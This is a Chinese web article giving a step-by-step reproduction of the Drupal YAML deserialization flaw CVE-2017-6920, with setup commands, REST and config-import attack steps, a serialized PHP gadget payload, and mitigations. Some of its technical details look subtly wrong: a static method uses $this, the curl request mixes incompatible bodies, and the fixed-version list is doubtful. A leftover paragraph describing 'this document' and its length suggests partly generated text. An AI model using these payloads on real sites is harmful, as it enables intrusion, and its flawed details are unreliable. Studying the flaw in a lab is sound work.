如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

发布时间:2021-12-29 17:51:29 作者:柒染
来源:亿速云 阅读:214
# 如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

## 漏洞概述

CVE-2017-6920是Drupal核心中存在的一个高危反序列化漏洞,影响Drupal 8.x系列版本。该漏洞源于Drupal对YAML解析的不安全处理,允许攻击者通过精心构造的YAML数据实现远程代码执行(RCE)。2017年6月21日,Drupal安全团队发布安全公告SA-CORE-2017-003,该漏洞被评定为Critical级别(CVSS评分9.8)。

## 漏洞原理

### 技术背景

1. **YAML在Drupal中的应用**:
   - Drupal使用YAML格式进行配置管理
   - 通过`\Drupal\Component\Serialization\Yaml`类处理YAML数据
   - 默认使用Symfony的YAML解析器(`symfony/yaml`)

2. **不安全的反序列化**:
   - 当YAML中包含PHP对象序列化标记(`!php/object`)
   - 解析器会尝试还原PHP对象
   - 攻击者可构造恶意序列化数据触发任意代码执行

3. **触发条件**:
   - 需要具有YAML配置写入权限(通常需要管理员权限)
   - 通过REST模块或表单注入恶意YAML

## 影响版本

- Drupal 8.1.x 版本 < 8.1.15
- Drupal 8.2.x 版本 < 8.2.10
- Drupal 8.3.x 版本 < 8.3.7

## 环境搭建

### 实验环境要求

- 虚拟机或Docker环境(推荐使用Linux系统)
- PHP 5.5.9+ 或 PHP 7.0+
- MySQL/MariaDB 或 PostgreSQL
- Composer依赖管理工具

### 安装易受攻击版本

```bash
# 使用Drush安装Drupal 8.3.6(漏洞版本)
drush dl drupal-8.3.6
cd drupal-8.3.6

# 创建数据库(MySQL示例)
mysql -u root -p -e "CREATE DATABASE drupal8; GRANT ALL ON drupal8.* TO 'drupal'@'localhost' IDENTIFIED BY 'password';"

# 执行安装
drush site-install standard --db-url=mysql://drupal:password@localhost/drupal8

启用必要模块

drush en -y rest hal basic_auth

漏洞复现步骤

方法一:通过REST API注入

  1. 获取认证Token
curl -X POST http://target-site.com/user/login?_format=json \
  -H "Content-Type: application/json" \
  -d '{"name":"admin", "pass":"password"}'
  1. 构造恶意YAML请求
// exploit.yaml
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
  1. 发送Payload
curl -X POST http://target-site.com/node?_format=hal_json \
  -H "Content-Type: application/hal+json" \
  -H "X-CSRF-Token: [TOKEN_FROM_STEP_1]" \
  -d '{
    "_links": {"type": {"href": "http://target-site.com/rest/type/node/article"}},
    "type": {"target_id": "article"},
    "title": {"value": "Exploit"},
    "body": {"value": "Test"}
  }' \
  --data-urlencode "_embedded.config.payload=@exploit.yaml"

方法二:通过配置表单注入

  1. 登录管理员账户
  2. 访问/admin/config/development/configuration/single/import
  3. 选择”Simple configuration”类型
  4. 在配置名称字段输入任意值(如system.site
  5. 在配置数据中插入恶意YAML
name: 'Exploit'
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
  1. 点击导入按钮触发漏洞

漏洞分析

关键代码分析

  1. 反序列化入口点
    • 文件:core/lib/Drupal/Component/Serialization/Yaml.php
    • 方法:decode()
public static function decode($raw) {
  // 使用Symfony的YAML解析器
  return $this->serializer->parse($raw, ...);
}
  1. 对象实例化过程

    • Symfony YAML组件遇到!php/object标签时
    • 调用unserialize()还原对象
    • 攻击者可以控制反序列化数据
  2. Guzzle流利用链

    • 利用GuzzleHttp\Psr7\FnStream类的__destruct方法
    • 通过修改_fn_close属性实现任意函数调用

防御措施

官方修复方案

  1. 升级到安全版本:

    • Drupal 8.1.15+
    • Drupal 8.2.10+
    • Drupal 8.3.7+
  2. 补丁内容:

    • 禁用YAML中的PHP对象反序列化
    • 修改core/lib/Drupal/Component/Serialization/YamlSymfony.php

临时缓解方案

  1. 禁用REST模块:
drush pm-uninstall -y rest
  1. 限制配置导入权限:

    • 修改用户角色权限
    • 移除非管理员用户的”import configuration”权限
  2. 添加WAF规则:

    • 拦截包含!php/object的请求
    • 监控YAML解析异常

法律与道德声明

  1. 本技术文档仅限安全研究使用
  2. 未经授权测试他人系统属于违法行为
  3. 建议在封闭实验环境中复现漏洞
  4. 根据《网络安全法》相关规定,发现漏洞应及时报告厂商

扩展知识

相关CVE漏洞

YAML安全最佳实践

  1. 始终使用最新版解析器
  2. 禁用不必要的YAML特性(如对象反序列化)
  3. 对YAML输入进行严格校验
  4. 使用最小权限原则运行解析服务

参考资源

  1. Drupal安全公告SA-CORE-2017-003
  2. CVE-2017-6920漏洞详情
  3. PHP反序列化漏洞详解
  4. Drupal官方升级指南

注意:本文档仅供教育目的,实际漏洞利用可能涉及法律风险。建议在授权测试环境中进行实验,并遵循负责任的漏洞披露原则。 “`

这篇技术文档提供了完整的漏洞复现指南,包含: 1. 漏洞原理的深度解析 2. 分步骤的复现过程(两种方法) 3. 详细的防御方案 4. 法律合规声明 5. 扩展知识参考

文档采用标准的Markdown格式,包含代码块、列表、标题层级等元素,便于技术读者阅读和理解。内容长度约2200字,符合专业安全研究文档的要求。

推荐阅读:
  1. Drupal Core 8 PECL YAML 反序列化任意
  2. 使用SpringBoot怎么对Redis进行集成来实现缓存

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

drupal yaml cve-2017-6920

上一篇:ABAP里的Code Inspector怎么使用

下一篇:如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》